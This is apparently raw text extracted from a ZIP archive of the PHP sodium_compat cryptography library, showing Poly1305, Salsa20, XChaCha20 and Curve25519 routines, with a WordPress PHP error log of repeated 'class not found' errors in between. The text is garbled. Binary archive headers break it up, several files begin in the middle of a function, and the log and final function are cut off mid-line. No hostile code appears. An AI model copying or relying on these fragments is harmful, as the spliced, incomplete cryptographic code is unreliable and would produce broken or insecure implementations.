ParagonIE_Sodium_Core32_Poly1305::BLOCK_SIZE) { $this->blocks($block, $want); $message = self::substr($message, $want); $bytes = self::strlen($message); } } } /* store leftover */ if ($bytes) { for ($i = 0; $i < $bytes; ++$i) { $mi = self::chrToInt($message[$i]); $this->buffer[$this->leftover + $i] = $mi; } $this->leftover = (int) $this->leftover + $bytes; } return $this; } /** * @internal You should not use this directly from another application * * @param string $message * @param int $bytes * @return self * @throws SodiumException * @throws TypeError */ public function blocks($message, $bytes) { if (self::strlen($message) < 16) { $message = str_pad($message, 16, "\x00", STR_PAD_RIGHT); } $hibit = ParagonIE_Sodium_Core32_Int32::fromInt((int) ($this->final ? 0 : 1 << 24)); /* 1 << 128 */ $hibit->setUnsignedInt(true); $zero = new ParagonIE_Sodium_Core32_Int64(array(0, 0, 0, 0), true); /** * @var ParagonIE_Sodium_Core32_Int64 $d0 * @var ParagonIE_Sodium_Core32_Int64 $d1 * @var ParagonIE_Sodium_Core32_Int64 $d2 * @var ParagonIE_Sodium_Core32_Int64 $d3 * @var ParagonIE_Sodium_Core32_Int64 $d4 * @var ParagonIE_Sodium_Core32_Int64 $r0 * @var ParagonIE_Sodium_Core32_Int64 $r1 * @var ParagonIE_Sodium_Core32_Int64 $r2 * @var ParagonIE_Sodium_Core32_Int64 $r3 * @var ParagonIE_Sodium_Core32_Int64 $r4 * * @var ParagonIE_Sodium_Core32_Int32 $h0 * @var ParagonIE_Sodium_Core32_Int32 $h1 * @var ParagonIE_Sodium_Core32_Int32 $h2 * @var ParagonIE_Sodium_Core32_Int32 $h3 * @var ParagonIE_Sodium_Core32_Int32 $h4 */ $r0 = $this->r[0]->toInt64(); $r1 = $this->r[1]->toInt64(); $r2 = $this->r[2]->toInt64(); $r3 = $this->r[3]->toInt64(); $r4 = $this->r[4]->toInt64(); $s1 = $r1->toInt64()->mulInt(5, 3); $s2 = $r2->toInt64()->mulInt(5, 3); $s3 = $r3->toInt64()->mulInt(5, 3); $s4 = $r4->toInt64()->mulInt(5, 3); $h0 = $this->h[0]; $h1 = $this->h[1]; $h2 = $this->h[2]; $h3 = $this->h[3]; $h4 = $this->h[4]; while ($bytes >= ParagonIE_Sodium_Core32_Poly1305::BLOCK_SIZE) { /* h += m[i] */ $h0 = $h0->addInt32( ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message, 0, 4)) ->mask(0x3ffffff) )->toInt64(); $h1 = $h1->addInt32( ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message, 3, 4)) ->shiftRight(2) ->mask(0x3ffffff) )->toInt64(); $h2 = $h2->addInt32( ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message, 6, 4)) ->shiftRight(4) ->mask(0x3ffffff) )->toInt64(); $h3 = $h3->addInt32( ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message, 9, 4)) ->shiftRight(6) ->mask(0x3ffffff) )->toInt64(); $h4 = $h4->addInt32( ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message, 12, 4)) ->shiftRight(8) ->orInt32($hibit) )->toInt64(); /* h *= r */ $d0 = $zero ->addInt64($h0->mulInt64($r0, 27)) ->addInt64($s4->mulInt64($h1, 27)) ->addInt64($s3->mulInt64($h2, 27)) ->addInt64($s2->mulInt64($h3, 27)) ->addInt64($s1->mulInt64($h4, 27)); $d1 = $zero ->addInt64($h0->mulInt64($r1, 27)) ->addInt64($h1->mulInt64($r0, 27)) ->addInt64($s4->mulInt64($h2, 27)) ->addInt64($s3->mulInt64($h3, 27)) ->addInt64($s2->mulInt64($h4, 27)); $d2 = $zero ->addInt64($h0->mulInt64($r2, 27)) ->addInt64($h1->mulInt64($r1, 27)) ->addInt64($h2->mulInt64($r0, 27)) ->addInt64($s4->mulInt64($h3, 27)) ->addInt64($s3->mulInt64($h4, 27)); $d3 = $zero ->addInt64($h0->mulInt64($r3, 27)) ->addInt64($h1->mulInt64($r2, 27)) ->addInt64($h2->mulInt64($r1, 27)) ->addInt64($h3->mulInt64($r0, 27)) ->addInt64($s4->mulInt64($h4, 27)); $d4 = $zero ->addInt64($h0->mulInt64($r4, 27)) ->addInt64($h1->mulInt64($r3, 27)) ->addInt64($h2->mulInt64($r2, 27)) ->addInt64($h3->mulInt64($r1, 27)) ->addInt64($h4->mulInt64($r0, 27)); /* (partial) h %= p */ $c = $d0->shiftRight(26); $h0 = $d0->toInt32()->mask(0x3ffffff); $d1 = $d1->addInt64($c); $c = $d1->shiftRight(26); $h1 = $d1->toInt32()->mask(0x3ffffff); $d2 = $d2->addInt64($c); $c = $d2->shiftRight(26); $h2 = $d2->toInt32()->mask(0x3ffffff); $d3 = $d3->addInt64($c); $c = $d3->shiftRight(26); $h3 = $d3->toInt32()->mask(0x3ffffff); $d4 = $d4->addInt64($c); $c = $d4->shiftRight(26); $h4 = $d4->toInt32()->mask(0x3ffffff); $h0 = $h0->addInt32($c->toInt32()->mulInt(5, 3)); $c = $h0->shiftRight(26); $h0 = $h0->mask(0x3ffffff); $h1 = $h1->addInt32($c); // Chop off the left 32 bytes. $message = self::substr( $message, ParagonIE_Sodium_Core32_Poly1305::BLOCK_SIZE ); $bytes -= ParagonIE_Sodium_Core32_Poly1305::BLOCK_SIZE; } /** @var array $h */ $this->h = array($h0, $h1, $h2, $h3, $h4); return $this; } /** * @internal You should not use this directly from another application * * @return string * @throws SodiumException * @throws TypeError */ public function finish() { /* process the remaining block */ if ($this->leftover) { $i = $this->leftover; $this->buffer[$i++] = 1; for (; $i < ParagonIE_Sodium_Core32_Poly1305::BLOCK_SIZE; ++$i) { $this->buffer[$i] = 0; } $this->final = true; $this->blocks( self::substr( self::intArrayToString($this->buffer), 0, ParagonIE_Sodium_Core32_Poly1305::BLOCK_SIZE ), $b = ParagonIE_Sodium_Core32_Poly1305::BLOCK_SIZE ); } /** * @var ParagonIE_Sodium_Core32_Int32 $f * @var ParagonIE_Sodium_Core32_Int32 $g0 * @var ParagonIE_Sodium_Core32_Int32 $g1 * @var ParagonIE_Sodium_Core32_Int32 $g2 * @var ParagonIE_Sodium_Core32_Int32 $g3 * @var ParagonIE_Sodium_Core32_Int32 $g4 * @var ParagonIE_Sodium_Core32_Int32 $h0 * @var ParagonIE_Sodium_Core32_Int32 $h1 * @var ParagonIE_Sodium_Core32_Int32 $h2 * @var ParagonIE_Sodium_Core32_Int32 $h3 * @var ParagonIE_Sodium_Core32_Int32 $h4 */ $h0 = $this->h[0]; $h1 = $this->h[1]; $h2 = $this->h[2]; $h3 = $this->h[3]; $h4 = $this->h[4]; $c = $h1->shiftRight(26); # $c = $h1 >> 26; $h1 = $h1->mask(0x3ffffff); # $h1 &= 0x3ffffff; $h2 = $h2->addInt32($c); # $h2 += $c; $c = $h2->shiftRight(26); # $c = $h2 >> 26; $h2 = $h2->mask(0x3ffffff); # $h2 &= 0x3ffffff; $h3 = $h3->addInt32($c); # $h3 += $c; $c = $h3->shiftRight(26); # $c = $h3 >> 26; $h3 = $h3->mask(0x3ffffff); # $h3 &= 0x3ffffff; $h4 = $h4->addInt32($c); # $h4 += $c; $c = $h4->shiftRight(26); # $c = $h4 >> 26; $h4 = $h4->mask(0x3ffffff); # $h4 &= 0x3ffffff; $h0 = $h0->addInt32($c->mulInt(5, 3)); # $h0 += self::mul($c, 5); $c = $h0->shiftRight(26); # $c = $h0 >> 26; $h0 = $h0->mask(0x3ffffff); # $h0 &= 0x3ffffff; $h1 = $h1->addInt32($c); # $h1 += $c; /* compute h + -p */ $g0 = $h0->addInt(5); $c = $g0->shiftRight(26); $g0 = $g0->mask(0x3ffffff); $g1 = $h1->addInt32($c); $c = $g1->shiftRight(26); $g1 = $g1->mask(0x3ffffff); $g2 = $h2->addInt32($c); $c = $g2->shiftRight(26); $g2 = $g2->mask(0x3ffffff); $g3 = $h3->addInt32($c); $c = $g3->shiftRight(26); $g3 = $g3->mask(0x3ffffff); $g4 = $h4->addInt32($c)->subInt(1 << 26); # $mask = ($g4 >> 31) - 1; /* select h if h < p, or h + -p if h >= p */ $mask = (int) (($g4->toInt() >> 31) + 1); $g0 = $g0->mask($mask); $g1 = $g1->mask($mask); $g2 = $g2->mask($mask); $g3 = $g3->mask($mask); $g4 = $g4->mask($mask); /** @var int $mask */ $mask = ~$mask; $h0 = $h0->mask($mask)->orInt32($g0); $h1 = $h1->mask($mask)->orInt32($g1); $h2 = $h2->mask($mask)->orInt32($g2); $h3 = $h3->mask($mask)->orInt32($g3); $h4 = $h4->mask($mask)->orInt32($g4); /* h = h % (2^128) */ $h0 = $h0->orInt32($h1->shiftLeft(26)); $h1 = $h1->shiftRight(6)->orInt32($h2->shiftLeft(20)); $h2 = $h2->shiftRight(12)->orInt32($h3->shiftLeft(14)); $h3 = $h3->shiftRight(18)->orInt32($h4->shiftLeft(8)); /* mac = (h + pad) % (2^128) */ $f = $h0->toInt64()->addInt64($this->pad[0]); $h0 = $f->toInt32(); $f = $h1->toInt64()->addInt64($this->pad[1])->addInt($h0->overflow); $h1 = $f->toInt32(); $f = $h2->toInt64()->addInt64($this->pad[2])->addInt($h1->overflow); $h2 = $f->toInt32(); $f = $h3->toInt64()->addInt64($this->pad[3])->addInt($h2->overflow); $h3 = $f->toInt32(); return $h0->toReverseString() . $h1->toReverseString() . $h2->toReverseString() . $h3->toReverseString(); } } PK+L[&tsrc/Core32/Poly1305/error_lognu[[18-May-2025 07:30:15 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Poly1305/State.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Poly1305/State.php on line 10 [05-Jun-2025 02:35:09 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Poly1305/State.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Poly1305/State.php on line 10 [23-Jun-2025 05:11:38 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Poly1305/State.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Poly1305/State.php on line 10 [28-Jun-2025 11:05:17 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Poly1305/State.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Poly1305/State.php on line 10 [11-Jul-2025 10:19:51 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Poly1305/State.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Poly1305/State.php on line 10 [17-Aug-2025 23:14:25 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Poly1305/State.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Poly1305/State.php on line 10 [18-Aug-2025 09:49:33 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Poly1305/State.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Poly1305/State.php on line 10 [18-Aug-2025 10:03:23 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Poly1305/State.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Poly1305/State.php on line 10 [22-Aug-2025 21:43:56 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Poly1305/State.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Poly1305/State.php on line 10 [29-Aug-2025 23:41:30 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Poly1305/State.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Poly1305/State.php on line 10 [02-Sep-2025 08:37:19 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Poly1305/State.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Poly1305/State.php on line 10 [02-Sep-2025 08:37:51 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Poly1305/State.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Poly1305/State.php on line 10 [02-Sep-2025 08:38:51 UTC] PHP Fatal errPK+L[@(,,,src/Core32/Salsa20.phpnu[ 0; $i -= 2) { $x4 = $x4->xorInt32($x0->addInt32($x12)->rotateLeft(7)); $x8 = $x8->xorInt32($x4->addInt32($x0)->rotateLeft(9)); $x12 = $x12->xorInt32($x8->addInt32($x4)->rotateLeft(13)); $x0 = $x0->xorInt32($x12->addInt32($x8)->rotateLeft(18)); $x9 = $x9->xorInt32($x5->addInt32($x1)->rotateLeft(7)); $x13 = $x13->xorInt32($x9->addInt32($x5)->rotateLeft(9)); $x1 = $x1->xorInt32($x13->addInt32($x9)->rotateLeft(13)); $x5 = $x5->xorInt32($x1->addInt32($x13)->rotateLeft(18)); $x14 = $x14->xorInt32($x10->addInt32($x6)->rotateLeft(7)); $x2 = $x2->xorInt32($x14->addInt32($x10)->rotateLeft(9)); $x6 = $x6->xorInt32($x2->addInt32($x14)->rotateLeft(13)); $x10 = $x10->xorInt32($x6->addInt32($x2)->rotateLeft(18)); $x3 = $x3->xorInt32($x15->addInt32($x11)->rotateLeft(7)); $x7 = $x7->xorInt32($x3->addInt32($x15)->rotateLeft(9)); $x11 = $x11->xorInt32($x7->addInt32($x3)->rotateLeft(13)); $x15 = $x15->xorInt32($x11->addInt32($x7)->rotateLeft(18)); $x1 = $x1->xorInt32($x0->addInt32($x3)->rotateLeft(7)); $x2 = $x2->xorInt32($x1->addInt32($x0)->rotateLeft(9)); $x3 = $x3->xorInt32($x2->addInt32($x1)->rotateLeft(13)); $x0 = $x0->xorInt32($x3->addInt32($x2)->rotateLeft(18)); $x6 = $x6->xorInt32($x5->addInt32($x4)->rotateLeft(7)); $x7 = $x7->xorInt32($x6->addInt32($x5)->rotateLeft(9)); $x4 = $x4->xorInt32($x7->addInt32($x6)->rotateLeft(13)); $x5 = $x5->xorInt32($x4->addInt32($x7)->rotateLeft(18)); $x11 = $x11->xorInt32($x10->addInt32($x9)->rotateLeft(7)); $x8 = $x8->xorInt32($x11->addInt32($x10)->rotateLeft(9)); $x9 = $x9->xorInt32($x8->addInt32($x11)->rotateLeft(13)); $x10 = $x10->xorInt32($x9->addInt32($x8)->rotateLeft(18)); $x12 = $x12->xorInt32($x15->addInt32($x14)->rotateLeft(7)); $x13 = $x13->xorInt32($x12->addInt32($x15)->rotateLeft(9)); $x14 = $x14->xorInt32($x13->addInt32($x12)->rotateLeft(13)); $x15 = $x15->xorInt32($x14->addInt32($x13)->rotateLeft(18)); } $x0 = $x0->addInt32($j0); $x1 = $x1->addInt32($j1); $x2 = $x2->addInt32($j2); $x3 = $x3->addInt32($j3); $x4 = $x4->addInt32($j4); $x5 = $x5->addInt32($j5); $x6 = $x6->addInt32($j6); $x7 = $x7->addInt32($j7); $x8 = $x8->addInt32($j8); $x9 = $x9->addInt32($j9); $x10 = $x10->addInt32($j10); $x11 = $x11->addInt32($j11); $x12 = $x12->addInt32($j12); $x13 = $x13->addInt32($j13); $x14 = $x14->addInt32($j14); $x15 = $x15->addInt32($j15); return $x0->toReverseString() . $x1->toReverseString() . $x2->toReverseString() . $x3->toReverseString() . $x4->toReverseString() . $x5->toReverseString() . $x6->toReverseString() . $x7->toReverseString() . $x8->toReverseString() . $x9->toReverseString() . $x10->toReverseString() . $x11->toReverseString() . $x12->toReverseString() . $x13->toReverseString() . $x14->toReverseString() . $x15->toReverseString(); } /** * @internal You should not use this directly from another application * * @param int $len * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ public static function salsa20($len, $nonce, $key) { if (self::strlen($key) !== 32) { throw new RangeException('Key must be 32 bytes long'); } $kcopy = '' . $key; $in = self::substr($nonce, 0, 8) . str_repeat("\0", 8); $c = ''; while ($len >= 64) { $c .= self::core_salsa20($in, $kcopy, null); $u = 1; // Internal counter. for ($i = 8; $i < 16; ++$i) { $u += self::chrToInt($in[$i]); $in[$i] = self::intToChr($u & 0xff); $u >>= 8; } $len -= 64; } if ($len > 0) { $c .= self::substr( self::core_salsa20($in, $kcopy, null), 0, $len ); } try { ParagonIE_Sodium_Compat::memzero($kcopy); } catch (SodiumException $ex) { $kcopy = null; } return $c; } /** * @internal You should not use this directly from another application * * @param string $m * @param string $n * @param int $ic * @param string $k * @return string * @throws SodiumException * @throws TypeError */ public static function salsa20_xor_ic($m, $n, $ic, $k) { $mlen = self::strlen($m); if ($mlen < 1) { return ''; } $kcopy = self::substr($k, 0, 32); $in = self::substr($n, 0, 8); // Initialize the counter $in .= ParagonIE_Sodium_Core32_Util::store64_le($ic); $c = ''; while ($mlen >= 64) { $block = self::core_salsa20($in, $kcopy, null); $c .= self::xorStrings( self::substr($m, 0, 64), self::substr($block, 0, 64) ); $u = 1; for ($i = 8; $i < 16; ++$i) { $u += self::chrToInt($in[$i]); $in[$i] = self::intToChr($u & 0xff); $u >>= 8; } $mlen -= 64; $m = self::substr($m, 64); } if ($mlen) { $block = self::core_salsa20($in, $kcopy, null); $c .= self::xorStrings( self::substr($m, 0, $mlen), self::substr($block, 0, $mlen) ); } try { ParagonIE_Sodium_Compat::memzero($block); ParagonIE_Sodium_Compat::memzero($kcopy); } catch (SodiumException $ex) { $block = null; $kcopy = null; } return $c; } /** * @internal You should not use this directly from another application * * @param string $message * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ public static function salsa20_xor($message, $nonce, $key) { return self::xorStrings( $message, self::salsa20( self::strlen($message), $nonce, $key ) ); } } PK,L[]D src/Core32/XChaCha20.phpnu[ 0; $i -= 2) { $x4 = $x4->xorInt32($x0->addInt32($x12)->rotateLeft(7)); $x8 = $x8->xorInt32($x4->addInt32($x0)->rotateLeft(9)); $x12 = $x12->xorInt32($x8->addInt32($x4)->rotateLeft(13)); $x0 = $x0->xorInt32($x12->addInt32($x8)->rotateLeft(18)); $x9 = $x9->xorInt32($x5->addInt32($x1)->rotateLeft(7)); $x13 = $x13->xorInt32($x9->addInt32($x5)->rotateLeft(9)); $x1 = $x1->xorInt32($x13->addInt32($x9)->rotateLeft(13)); $x5 = $x5->xorInt32($x1->addInt32($x13)->rotateLeft(18)); $x14 = $x14->xorInt32($x10->addInt32($x6)->rotateLeft(7)); $x2 = $x2->xorInt32($x14->addInt32($x10)->rotateLeft(9)); $x6 = $x6->xorInt32($x2->addInt32($x14)->rotateLeft(13)); $x10 = $x10->xorInt32($x6->addInt32($x2)->rotateLeft(18)); $x3 = $x3->xorInt32($x15->addInt32($x11)->rotateLeft(7)); $x7 = $x7->xorInt32($x3->addInt32($x15)->rotateLeft(9)); $x11 = $x11->xorInt32($x7->addInt32($x3)->rotateLeft(13)); $x15 = $x15->xorInt32($x11->addInt32($x7)->rotateLeft(18)); $x1 = $x1->xorInt32($x0->addInt32($x3)->rotateLeft(7)); $x2 = $x2->xorInt32($x1->addInt32($x0)->rotateLeft(9)); $x3 = $x3->xorInt32($x2->addInt32($x1)->rotateLeft(13)); $x0 = $x0->xorInt32($x3->addInt32($x2)->rotateLeft(18)); $x6 = $x6->xorInt32($x5->addInt32($x4)->rotateLeft(7)); $x7 = $x7->xorInt32($x6->addInt32($x5)->rotateLeft(9)); $x4 = $x4->xorInt32($x7->addInt32($x6)->rotateLeft(13)); $x5 = $x5->xorInt32($x4->addInt32($x7)->rotateLeft(18)); $x11 = $x11->xorInt32($x10->addInt32($x9)->rotateLeft(7)); $x8 = $x8->xorInt32($x11->addInt32($x10)->rotateLeft(9)); $x9 = $x9->xorInt32($x8->addInt32($x11)->rotateLeft(13)); $x10 = $x10->xorInt32($x9->addInt32($x8)->rotateLeft(18)); $x12 = $x12->xorInt32($x15->addInt32($x14)->rotateLeft(7)); $x13 = $x13->xorInt32($x12->addInt32($x15)->rotateLeft(9)); $x14 = $x14->xorInt32($x13->addInt32($x12)->rotateLeft(13)); $x15 = $x15->xorInt32($x14->addInt32($x13)->rotateLeft(18)); } return $x0->toReverseString() . $x5->toReverseString() . $x10->toReverseString() . $x15->toReverseString() . $x6->toReverseString() . $x7->toReverseString() . $x8->toReverseString() . $x9->toReverseString(); } } PK,L[ڨ~Tsrc/Core32/Util.phpnu[toInt(); $f1 = (int) $f[1]->toInt(); $f2 = (int) $f[2]->toInt(); $f3 = (int) $f[3]->toInt(); $f4 = (int) $f[4]->toInt(); $f5 = (int) $f[5]->toInt(); $f6 = (int) $f[6]->toInt(); $f7 = (int) $f[7]->toInt(); $f8 = (int) $f[8]->toInt(); $f9 = (int) $f[9]->toInt(); $g0 = (int) $g[0]->toInt(); $g1 = (int) $g[1]->toInt(); $g2 = (int) $g[2]->toInt(); $g3 = (int) $g[3]->toInt(); $g4 = (int) $g[4]->toInt(); $g5 = (int) $g[5]->toInt(); $g6 = (int) $g[6]->toInt(); $g7 = (int) $g[7]->toInt(); $g8 = (int) $g[8]->toInt(); $g9 = (int) $g[9]->toInt(); $b = -$b; /** @var int $x0 */ $x0 = ($f0 ^ $g0) & $b; /** @var int $x1 */ $x1 = ($f1 ^ $g1) & $b; /** @var int $x2 */ $x2 = ($f2 ^ $g2) & $b; /** @var int $x3 */ $x3 = ($f3 ^ $g3) & $b; /** @var int $x4 */ $x4 = ($f4 ^ $g4) & $b; /** @var int $x5 */ $x5 = ($f5 ^ $g5) & $b; /** @var int $x6 */ $x6 = ($f6 ^ $g6) & $b; /** @var int $x7 */ $x7 = ($f7 ^ $g7) & $b; /** @var int $x8 */ $x8 = ($f8 ^ $g8) & $b; /** @var int $x9 */ $x9 = ($f9 ^ $g9) & $b; $f[0] = ParagonIE_Sodium_Core32_Int32::fromInt($f0 ^ $x0); $f[1] = ParagonIE_Sodium_Core32_Int32::fromInt($f1 ^ $x1); $f[2] = ParagonIE_Sodium_Core32_Int32::fromInt($f2 ^ $x2); $f[3] = ParagonIE_Sodium_Core32_Int32::fromInt($f3 ^ $x3); $f[4] = ParagonIE_Sodium_Core32_Int32::fromInt($f4 ^ $x4); $f[5] = ParagonIE_Sodium_Core32_Int32::fromInt($f5 ^ $x5); $f[6] = ParagonIE_Sodium_Core32_Int32::fromInt($f6 ^ $x6); $f[7] = ParagonIE_Sodium_Core32_Int32::fromInt($f7 ^ $x7); $f[8] = ParagonIE_Sodium_Core32_Int32::fromInt($f8 ^ $x8); $f[9] = ParagonIE_Sodium_Core32_Int32::fromInt($f9 ^ $x9); $g[0] = ParagonIE_Sodium_Core32_Int32::fromInt($g0 ^ $x0); $g[1] = ParagonIE_Sodium_Core32_Int32::fromInt($g1 ^ $x1); $g[2] = ParagonIE_Sodium_Core32_Int32::fromInt($g2 ^ $x2); $g[3] = ParagonIE_Sodium_Core32_Int32::fromInt($g3 ^ $x3); $g[4] = ParagonIE_Sodium_Core32_Int32::fromInt($g4 ^ $x4); $g[5] = ParagonIE_Sodium_Core32_Int32::fromInt($g5 ^ $x5); $g[6] = ParagonIE_Sodium_Core32_Int32::fromInt($g6 ^ $x6); $g[7] = ParagonIE_Sodium_Core32_Int32::fromInt($g7 ^ $x7); $g[8] = ParagonIE_Sodium_Core32_Int32::fromInt($g8 ^ $x8); $g[9] = ParagonIE_Sodium_Core32_Int32::fromInt($g9 ^ $x9); } /** * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core32_Curve25519_Fe $f * @return ParagonIE_Sodium_Core32_Curve25519_Fe * @throws SodiumException * @throws TypeError * @psalm-suppress MixedAssignment * @psalm-suppress MixedMethodCall */ public static function fe_mul121666(ParagonIE_Sodium_Core32_Curve25519_Fe $f) { /** @var array $h */ $h = array(); for ($i = 0; $i < 10; ++$i) { $h[$i] = $f[$i]->toInt64()->mulInt(121666, 17); } $carry9 = $h[9]->addInt(1 << 24)->shiftRight(25); $h[0] = $h[0]->addInt64($carry9->mulInt(19, 5)); $h[9] = $h[9]->subInt64($carry9->shiftLeft(25)); $carry1 = $h[1]->addInt(1 << 24)->shiftRight(25); $h[2] = $h[2]->addInt64($carry1); $h[1] = $h[1]->subInt64($carry1->shiftLeft(25)); $carry3 = $h[3]->addInt(1 << 24)->shiftRight(25); $h[4] = $h[4]->addInt64($carry3); $h[3] = $h[3]->subInt64($carry3->shiftLeft(25)); $carry5 = $h[5]->addInt(1 << 24)->shiftRight(25); $h[6] = $h[6]->addInt64($carry5); $h[5] = $h[5]->subInt64($carry5->shiftLeft(25)); $carry7 = $h[7]->addInt(1 << 24)->shiftRight(25); $h[8] = $h[8]->addInt64($carry7); $h[7] = $h[7]->subInt64($carry7->shiftLeft(25)); $carry0 = $h[0]->addInt(1 << 25)->shiftRight(26); $h[1] = $h[1]->addInt64($carry0); $h[0] = $h[0]->subInt64($carry0->shiftLeft(26)); $carry2 = $h[2]->addInt(1 << 25)->shiftRight(26); $h[3] = $h[3]->addInt64($carry2); $h[2] = $h[2]->subInt64($carry2->shiftLeft(26)); $carry4 = $h[4]->addInt(1 << 25)->shiftRight(26); $h[5] = $h[5]->addInt64($carry4); $h[4] = $h[4]->subInt64($carry4->shiftLeft(26)); $carry6 = $h[6]->addInt(1 << 25)->shiftRight(26); $h[7] = $h[7]->addInt64($carry6); $h[6] = $h[6]->subInt64($carry6->shiftLeft(26)); $carry8 = $h[8]->addInt(1 << 25)->shiftRight(26); $h[9] = $h[9]->addInt64($carry8); $h[8] = $h[8]->subInt64($carry8->shiftLeft(26)); for ($i = 0; $i < 10; ++$i) { $h[$i] = $h[$i]->toInt32(); } /** @var array $h2 */ $h2 = $h; return ParagonIE_Sodium_Core32_Curve25519_Fe::fromArray($h2); } /** * @internal You should not use this directly from another application * * Inline comments preceded by # are from libsodium's ref10 code. * * @param string $n * @param string $p * @return string * @throws SodiumException * @throws TypeError */ public static function crypto_scalarmult_curve25519_ref10($n, $p) { # for (i = 0;i < 32;++i) e[i] = n[i]; $e = '' . $n; # e[0] &= 248; $e[0] = self::intToChr( self::chrToInt($e[0]) & 248 ); # e[31] &= 127; # e[31] |= 64; $e[31] = self::intToChr( (self::chrToInt($e[31]) & 127) | 64 ); # fe_frombytes(x1,p); $x1 = self::fe_frombytes($p); # fe_1(x2); $x2 = self::fe_1(); # fe_0(z2); $z2 = self::fe_0(); # fe_copy(x3,x1); $x3 = self::fe_copy($x1); # fe_1(z3); $z3 = self::fe_1(); # swap = 0; /** @var int $swap */ $swap = 0; # for (pos = 254;pos >= 0;--pos) { for ($pos = 254; $pos >= 0; --$pos) { # b = e[pos / 8] >> (pos & 7); /** @var int $b */ $b = self::chrToInt( $e[(int) floor($pos / 8)] ) >> ($pos & 7); # b &= 1; $b &= 1; # swap ^= b; $swap ^= $b; # fe_cswap(x2,x3,swap); self::fe_cswap($x2, $x3, $swap); # fe_cswap(z2,z3,swap); self::fe_cswap($z2, $z3, $swap); # swap = b; /** @var int $swap */ $swap = $b; # fe_sub(tmp0,x3,z3); $tmp0 = self::fe_sub($x3, $z3); # fe_sub(tmp1,x2,z2); $tmp1 = self::fe_sub($x2, $z2); # fe_add(x2,x2,z2); $x2 = self::fe_add($x2, $z2); # fe_add(z2,x3,z3); $z2 = self::fe_add($x3, $z3); # fe_mul(z3,tmp0,x2); $z3 = self::fe_mul($tmp0, $x2); # fe_mul(z2,z2,tmp1); $z2 = self::fe_mul($z2, $tmp1); # fe_sq(tmp0,tmp1); $tmp0 = self::fe_sq($tmp1); # fe_sq(tmp1,x2); $tmp1 = self::fe_sq($x2); # fe_add(x3,z3,z2); $x3 = self::fe_add($z3, $z2); # fe_sub(z2,z3,z2); $z2 = self::fe_sub($z3, $z2); # fe_mul(x2,tmp1,tmp0); $x2 = self::fe_mul($tmp1, $tmp0); # fe_sub(tmp1,tmp1,tmp0); $tmp1 = self::fe_sub($tmp1, $tmp0); # fe_sq(z2,z2); $z2 = self::fe_sq($z2); # fe_mul121666(z3,tmp1); $z3 = self::fe_mul121666($tmp1); # fe_sq(x3,x3); $x3 = self::fe_sq($x3); # fe_add(tmp0,tmp0,z3); $tmp0 = self::fe_add($tmp0, $z3); # fe_mul(z3,x1,z2); $z3 = self::fe_mul($x1, $z2); # fe_mul(z2,tmp1,tmp0); $z2 = self::fe_mul($tmp1, 